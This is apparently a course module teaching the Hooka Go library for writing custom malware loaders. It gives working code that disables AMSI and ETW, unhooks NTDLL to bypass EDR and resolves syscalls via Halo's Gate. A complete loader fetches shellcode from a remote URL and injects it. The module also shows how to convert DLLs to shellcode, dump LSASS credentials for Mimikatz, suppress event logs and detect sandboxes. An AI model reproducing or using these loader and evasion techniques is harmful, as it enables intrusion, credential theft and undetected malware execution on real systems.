Difficulty: Advanced

Module 7: The Hooka Go Library

Import pkg/hooka directly into your own Go projects — 40+ exported functions across 16 source files for full programmatic control.

Why Use the Library Directly?

The Hooka CLI generates complete loaders from flags, but sometimes you need fine-grained control that a CLI cannot provide. The Go library (github.com/D3Ext/Hooka/pkg/hooka) exposes every individual function — injection methods, syscall resolution, unhooking, patching, sandbox detection, and more — as importable, composable building blocks. You can combine them in custom sequences, add your own logic between steps, integrate with other Go tooling, and build entirely novel loader architectures.

Installation

Bash# Add the Hooka library to your Go module
go get github.com/D3Ext/Hooka/pkg/hooka

Import in Your Code

Goimport "github.com/D3Ext/Hooka/pkg/hooka"

All exported functions are accessed via the hooka. prefix. The package has no global state and each function is self-contained, making it safe to call in any order (though certain sequences are recommended for maximum evasion).

Package Structure: 16 Source Files

The pkg/hooka package is organized by functionality. Each source file handles a distinct category of operations:

FileCategoryKey Functions
acg.goACG GuardEnableACG()
amsi.goAMSI PatchingPatchAmsi(), PatchAmsiRaw()
auxiliary.goShellcode I/OGetShellcodeFromFile(), GetShellcodeFromUrl(), WriteShellcodeToFile()
blockdlls.goDLL BlockingBlockDLLs(), CreateProcessBlockDLLs()
dll.gosRDI ConversionConvertDllToShellcode(), ConvertDllBytesToShellcode()
etw.goETW PatchingPatchEtw(), PatchEtwRaw()
gate.goHalo's GateGetSysIdHashHalos()
hashing.goAPI HashingMd5(), Sha1(), Sha256(), GetFuncHashValue()
hooks.goHook DetectionDetectHooks(), DetectHooksInDll()
lsass.goCredential DumpingDumpLsass(), CheckHighPrivs()
phant0m.goEvent Log SuppressionGetEventLogPid(), Phant0m()
sandbox.goSandbox DetectionCheckMemory(), CheckDisk(), CheckCpu(), CheckHostname(), CheckUsername(), CheckDrivers(), CheckProcess(), CheckInternet(), AutoCheck()
shellcode.goInjection MethodsSuspendedProcess(), ProcessHollowing(), NtCreateThreadEx(), EnumCalcProc(), CreateFiber(), QueueUserApc(), etc.
sleep.goCustom SleepSleep()
syscall.goRaw SyscallsSyscall(), PrepareSyscall()
unhook.goUnhookingClassicUnhook(), FullUnhook(), PerunsUnhook()

Building a Custom Loader Step by Step

The following sequence mirrors the pattern recommended by D3Ext for building a robust custom loader using the library. Each step builds on the previous, creating a layered evasion chain.

Step 1: Import the Package

Gopackage main

import (
    "fmt"
    "os"
    "github.com/D3Ext/Hooka/pkg/hooka"
)

Step 2: Patch AMSI

Disable Antimalware Scan Interface

Goerr := hooka.PatchAmsi()
if err != nil {
    fmt.Println("[!] AMSI patch failed:", err)
    os.Exit(1)
}

This must happen before loading any shellcode into memory. AMSI scans buffers passed to AmsiScanBuffer — if not patched, the shellcode will be scanned during injection.

Step 3: Patch ETW

Disable Event Tracing for Windows

Goerr = hooka.PatchEtw()
if err != nil {
    fmt.Println("[!] ETW patch failed:", err)
    os.Exit(1)
}

ETW feeds telemetry to EDR products. Patching it reduces the visibility of subsequent operations to monitoring tools.

Step 4: Unhook NTDLL

Remove EDR Hooks

Goerr = hooka.PerunsUnhook()
if err != nil {
    fmt.Println("[!] Unhook failed:", err)
    os.Exit(1)
}

PerunsUnhook() (Perun's Fart) replaces the hooked .text section of ntdll.dll with a clean copy. After this call, all subsequent NTDLL function calls bypass EDR hooks. You could also use ClassicUnhook() or FullUnhook() depending on your needs.

Step 5: Get Shellcode

Load from File or URL

Go// From a local file:
shellcode, err := hooka.GetShellcodeFromFile("/path/to/shellcode.bin")

// OR from a remote URL:
shellcode, err := hooka.GetShellcodeFromUrl("http://192.168.1.100/sc.bin")

Both functions return a []byte slice containing the raw shellcode.

Step 6: Decrypt Shellcode

Using maldev Crypto Functions

Goimport "github.com/D3Ext/maldev/crypto"

// If shellcode was AES-encrypted at build time:
decrypted, err := crypto.AesDecrypt(shellcode, key)

The maldev library provides AesDecrypt, XorEncrypt (XOR is its own inverse), Rc4Encrypt, ChaCha20Encrypt, and other cryptographic functions for decryption.

Step 7: Resolve Syscalls via Halo's Gate

Get System Service Numbers

Go// Resolve the SSN for NtCreateThreadEx using Halo's Gate
// Uses API hashing to avoid plain-text function name strings
ntCreateThreadExHash := hooka.GetFuncHashValue("NtCreateThreadEx")
sysId, err := hooka.GetSysIdHashHalos(ntCreateThreadExHash, hooka.Sha1)

GetSysIdHashHalos() walks the NTDLL export table using Halo's Gate algorithm to find the System Service Number (SSN) for the target function. The hash-based lookup avoids having the function name as a string in the binary.

Step 8: Inject

Execute the Shellcode

Go// Inject using NtCreateThreadEx with Halo's Gate syscalls
err = hooka.NtCreateThreadExHalos(decrypted)
if err != nil {
    fmt.Println("[!] Injection failed:", err)
    os.Exit(1)
}

The NtCreateThreadExHalos() function combines NtCreateThreadEx injection with Halo's Gate syscall resolution in a single call. Alternatively, you can use any other injection method from shellcode.go.

Complete Custom Loader

Gopackage main

import (
    "fmt"
    "os"
    "github.com/D3Ext/Hooka/pkg/hooka"
)

func main() {
    // 1. Patch AMSI
    if err := hooka.PatchAmsi(); err != nil {
        os.Exit(1)
    }

    // 2. Patch ETW
    if err := hooka.PatchEtw(); err != nil {
        os.Exit(1)
    }

    // 3. Unhook NTDLL (Perun's Fart)
    if err := hooka.PerunsUnhook(); err != nil {
        os.Exit(1)
    }

    // 4. Load shellcode from URL
    sc, err := hooka.GetShellcodeFromUrl("http://192.168.1.100/sc.bin")
    if err != nil {
        os.Exit(1)
    }

    // 5. Inject via NtCreateThreadEx + Halo's Gate
    if err := hooka.NtCreateThreadExHalos(sc); err != nil {
        fmt.Println("[!] Injection failed:", err)
        os.Exit(1)
    }
}

Custom Loader Execution Flow

PatchAmsi
Disable AMSI
PatchEtw
Disable ETW
PerunsUnhook
Clean NTDLL
GetShellcode
File or URL
Decrypt
AES/XOR/etc
Inject
NtCreateThreadEx

sRDI: DLL-to-Shellcode Conversion

sRDI (shellcode Reflective DLL Injection) converts a standard DLL into position-independent shellcode that loads itself. Hooka provides two functions for this:

ConvertDllToShellcode()

Go// Convert a DLL file on disk to shellcode
shellcode, err := hooka.ConvertDllToShellcode(
    "payload.dll",     // path to DLL file
    "DllMain",         // exported function to call
    "",                // optional function arguments
)

This reads the DLL from disk, prepends a reflective loader stub, and returns shellcode that, when executed, maps the DLL into memory and calls the specified export function.

ConvertDllBytesToShellcode()

Go// Convert DLL bytes already in memory to shellcode
dllBytes, _ := os.ReadFile("payload.dll")
shellcode, err := hooka.ConvertDllBytesToShellcode(
    dllBytes,          // DLL as byte slice
    "DllMain",         // exported function to call
    "",                // optional function arguments
)

Same as above but works with DLL bytes already loaded into memory. Useful when the DLL is fetched from a remote source or decrypted at runtime.

Credential Operations

The library includes functions for privilege checking and credential dumping:

Privilege Check & LSASS Dump

Go// Check if running with high privileges (admin/SYSTEM)
isAdmin, err := hooka.CheckHighPrivs()
if isAdmin {
    // Dump LSASS process memory to file
    err = hooka.DumpLsass("lsass.dmp")
}

CheckHighPrivs() verifies whether the current process has administrative or SYSTEM privileges. DumpLsass(output) creates a minidump of the LSASS process, which contains cached credentials. The output file can be processed offline with tools like Mimikatz or pypykatz.

Complete API Reference

All exported functions grouped by category:

Injection Methods

FunctionTechnique
SuspendedProcess(sc, proc)Early Bird injection into a suspended process
ProcessHollowing(sc, proc)Hollow target process and replace with shellcode
NtCreateThreadEx(sc)Create remote thread via NtCreateThreadEx
NtCreateThreadExHalos(sc)NtCreateThreadEx with Halo's Gate syscalls
EnumCalcProc(sc)Callback injection via EnumChildWindows
CreateFiber(sc)Fiber-based shellcode execution
QueueUserApc(sc, proc)APC injection into target process
CreateRemoteThread(sc, pid)Classic remote thread injection
CreateRemoteThreadHalos(sc, pid)Remote thread with Halo's Gate
NoRwx(sc)No-RWX shellcode execution

Defense Evasion

FunctionPurpose
PatchAmsi()Patch AMSI (method 1)
PatchAmsiRaw()Patch AMSI (method 2 — raw bytes)
PatchEtw()Patch ETW (method 1)
PatchEtwRaw()Patch ETW (method 2 — raw bytes)
ClassicUnhook()Classic NTDLL unhooking
FullUnhook()Full DLL unhooking
PerunsUnhook()Perun's Fart unhooking
EnableACG()Enable Arbitrary Code Guard
BlockDLLs()Block non-Microsoft DLLs (self)
CreateProcessBlockDLLs(cmd)Spawn process with DLL blocking

Sandbox Detection

FunctionWhat It Checks
CheckMemory()RAM < 4 GB
CheckDisk()Disk < 100 GB
CheckCpu()CPU < 2 cores
CheckHostname()Known sandbox hostnames
CheckUsername()Known sandbox usernames
CheckDrivers()VM drivers (VMware, VBox, Hyper-V)
CheckProcess()Analysis tools running
CheckInternet()Internet connectivity
AutoCheck()All checks combined

Utility Functions

FunctionPurpose
GetShellcodeFromFile(path)Read shellcode from local file
GetShellcodeFromUrl(url)Fetch shellcode from remote URL
WriteShellcodeToFile(sc, path)Write shellcode bytes to file
ConvertDllToShellcode(dll, func, args)Convert DLL file to shellcode (sRDI)
ConvertDllBytesToShellcode(bytes, func, args)Convert DLL bytes to shellcode
DetectHooks()Detect EDR hooks in NTDLL
DetectHooksInDll(dll)Detect hooks in any DLL
GetSysIdHashHalos(hash, hashFunc)Resolve SSN via Halo's Gate
GetFuncHashValue(name)Compute API hash for function name
CheckHighPrivs()Check for admin/SYSTEM privileges
DumpLsass(output)Dump LSASS process memory
GetEventLogPid()Find Event Log service PID
Phant0m(pid)Suspend Event Log threads
Sleep()Custom sleep for timing evasion

Combining with the maldev Library

Advanced Encryption Chains

The maldev library (github.com/D3Ext/maldev) provides additional cryptographic functions that complement Hooka's library. You can build multi-layer encryption chains:

Goimport (
    "github.com/D3Ext/Hooka/pkg/hooka"
    "github.com/D3Ext/maldev/crypto"
    "github.com/D3Ext/maldev/encoding"
)

// Multi-layer decryption: Base64 decode -> ChaCha20 decrypt -> XOR decode
encoded := getPayloadFromUrl()
decoded, _ := encoding.Base64Decode(encoded)
decrypted, _ := crypto.ChaCha20Decrypt(decoded, chachaKey, nonce)
shellcode, _ := crypto.XorEncrypt(decrypted, xorKey)  // XOR is its own inverse

// Then inject with Hooka
hooka.NtCreateThreadExHalos(shellcode)

When to Use Library vs CLI

FactorCLI (hooka)Library (pkg/hooka)
SpeedFast — one command generates a complete loaderSlower — requires writing Go code
CustomizationLimited to available flagsFull control over every step
Custom logicNot possibleAdd conditional checks, custom crypto, networking
Encryption optionsAES, 3DES, RC4, XORAny algorithm (via maldev or custom code)
Injection chainingSingle technique per loaderMultiple techniques in sequence or based on conditions
Error handlingGeneric exit on failureCustom error handling and fallback strategies
Best forQuick loader generation, testing, standard scenariosAdvanced tooling, custom C2, novel techniques

Module 7 Quiz: The Hooka Go Library

Q1: What is the recommended order for the first three calls in a custom loader?

The correct order is: PatchAmsi() first (to prevent AMSI from scanning subsequent operations), PatchEtw() second (to stop ETW telemetry), then PerunsUnhook() (to clean NTDLL of EDR hooks). This ensures maximum evasion before any shellcode loading or injection occurs.

Q2: What does ConvertDllToShellcode() produce?

sRDI (shellcode Reflective DLL Injection) prepends a reflective loader stub to the DLL, producing position-independent shellcode. When this shellcode executes, it maps the DLL into the current process's memory (handling relocations, imports, etc.) and calls the specified exported function.

Q3: What is the primary advantage of using the Go library over the CLI?

The library and CLI use the same underlying functions and injection techniques. The key advantage of the library is full programmatic control: you can add conditional checks, implement custom encryption chains, integrate with C2 frameworks, create fallback strategies, and compose functions in ways the CLI flags cannot express.